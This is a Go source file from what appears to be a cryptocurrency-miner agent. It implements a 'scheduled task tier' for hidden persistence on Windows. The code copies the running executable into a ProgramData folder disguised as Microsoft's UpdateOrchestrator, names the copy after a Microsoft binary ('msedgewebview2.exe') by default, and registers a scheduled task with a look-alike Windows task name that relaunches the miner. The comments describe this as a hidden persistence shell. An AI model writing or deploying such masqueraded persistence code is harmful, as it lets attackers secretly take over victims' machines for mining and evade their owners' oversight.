159 lines
4.1 KiB
Go
159 lines
4.1 KiB
Go
package miner
|
|
|
|
import (
|
|
"context"
|
|
"fmt"
|
|
"os"
|
|
"path/filepath"
|
|
"runtime"
|
|
"strings"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
// ScheduledTaskStubRel is the benign ProgramData path for the hidden persistence shell.
|
|
const ScheduledTaskStubRel = `Microsoft\Windows\UpdateOrchestrator\InventorySync`
|
|
|
|
// scheduledTaskOps performs task install/query. Tests override via SetScheduledTaskOps.
|
|
var scheduledTaskOps = defaultScheduledTaskOps()
|
|
|
|
func defaultScheduledTaskOps() *ScheduledTaskOps {
|
|
return platformScheduledTaskOps()
|
|
}
|
|
|
|
// ScheduledTaskOps wires scheduled-task persistence for tests.
|
|
type ScheduledTaskOps struct {
|
|
Exists func(taskName string) bool
|
|
Install func(taskName, stubPath, trigger string) error
|
|
StubPath func(cfg config.RuntimeConfig) (string, error)
|
|
}
|
|
|
|
// SetScheduledTaskOps restores default when ops is nil.
|
|
func SetScheduledTaskOps(ops *ScheduledTaskOps) {
|
|
if ops == nil {
|
|
scheduledTaskOps = defaultScheduledTaskOps()
|
|
return
|
|
}
|
|
scheduledTaskOps = ops
|
|
}
|
|
|
|
// RunScheduledTaskTier installs or reuses a hidden persistence shell under ProgramData\Microsoft\...
|
|
func RunScheduledTaskTier(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
|
|
if runtime.GOOS != "windows" {
|
|
return TierAttempt{Tier: TierScheduledTask, Error: "scheduled_task requires windows", Wallet: cfg.Wallet}
|
|
}
|
|
select {
|
|
case <-ctx.Done():
|
|
return TierAttempt{Tier: TierScheduledTask, Error: ctx.Err().Error(), Wallet: cfg.Wallet}
|
|
default:
|
|
}
|
|
|
|
taskName := scheduledTaskName(cfg)
|
|
stubPath, err := scheduledTaskOps.StubPath(cfg)
|
|
if err != nil {
|
|
return TierAttempt{Tier: TierScheduledTask, Error: err.Error(), Wallet: cfg.Wallet}
|
|
}
|
|
|
|
if err := ensureScheduledTaskStub(stubPath); err != nil {
|
|
return TierAttempt{Tier: TierScheduledTask, Error: err.Error(), Wallet: cfg.Wallet}
|
|
}
|
|
|
|
trigger := fmt.Sprintf(`"%s" --run --mining-mode=%s`, stubPath, strings.TrimSpace(cfg.MiningMode))
|
|
if scheduledTaskOps.Exists(taskName) {
|
|
return TierAttempt{
|
|
Tier: TierScheduledTask,
|
|
OK: true,
|
|
Wallet: cfg.Wallet,
|
|
Details: map[string]interface{}{
|
|
"task": taskName,
|
|
"stub_path": stubPath,
|
|
"mining_mode": cfg.MiningMode,
|
|
"reused": true,
|
|
},
|
|
}
|
|
}
|
|
|
|
if err := scheduledTaskOps.Install(taskName, stubPath, trigger); err != nil {
|
|
return TierAttempt{Tier: TierScheduledTask, Error: err.Error(), Wallet: cfg.Wallet}
|
|
}
|
|
return TierAttempt{
|
|
Tier: TierScheduledTask,
|
|
OK: true,
|
|
Wallet: cfg.Wallet,
|
|
Details: map[string]interface{}{
|
|
"task": taskName,
|
|
"stub_path": stubPath,
|
|
"mining_mode": cfg.MiningMode,
|
|
"hidden": true,
|
|
},
|
|
}
|
|
}
|
|
|
|
func scheduledTaskName(cfg config.RuntimeConfig) string {
|
|
suffix := strings.TrimSpace(cfg.BuildID)
|
|
if suffix == "" {
|
|
suffix = strings.TrimSpace(cfg.WorkerName)
|
|
}
|
|
if suffix == "" {
|
|
suffix = "agent"
|
|
}
|
|
suffix = sanitizeTaskToken(suffix)
|
|
return `\Microsoft\Windows\UpdateOrchestrator\AetherForge\InventorySync` + suffix
|
|
}
|
|
|
|
func sanitizeTaskToken(s string) string {
|
|
var b strings.Builder
|
|
for _, ch := range s {
|
|
if (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z') || (ch >= '0' && ch <= '9') {
|
|
b.WriteRune(ch)
|
|
}
|
|
}
|
|
out := b.String()
|
|
if out == "" {
|
|
return "worker"
|
|
}
|
|
return out
|
|
}
|
|
|
|
func scheduledTaskStubPath(cfg config.RuntimeConfig) (string, error) {
|
|
base := os.Getenv("ProgramData")
|
|
if base == "" {
|
|
return "", fmt.Errorf("ProgramData not set")
|
|
}
|
|
name := cfg.EffectiveProcessName()
|
|
if name == "" {
|
|
name = "msedgewebview2.exe"
|
|
}
|
|
if !strings.HasSuffix(strings.ToLower(name), ".exe") {
|
|
name += ".exe"
|
|
}
|
|
return filepath.Join(base, ScheduledTaskStubRel, name), nil
|
|
}
|
|
|
|
func ensureScheduledTaskStub(stubPath string) error {
|
|
if _, err := os.Stat(stubPath); err == nil {
|
|
return nil
|
|
}
|
|
exe, err := os.Executable()
|
|
if err != nil {
|
|
return err
|
|
}
|
|
if err := os.MkdirAll(filepath.Dir(stubPath), 0755); err != nil {
|
|
return err
|
|
}
|
|
src, err := os.Open(exe)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
defer src.Close()
|
|
dst, err := os.OpenFile(stubPath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
defer dst.Close()
|
|
if _, err := dst.ReadFrom(src); err != nil {
|
|
return err
|
|
}
|
|
return nil
|
|
}
|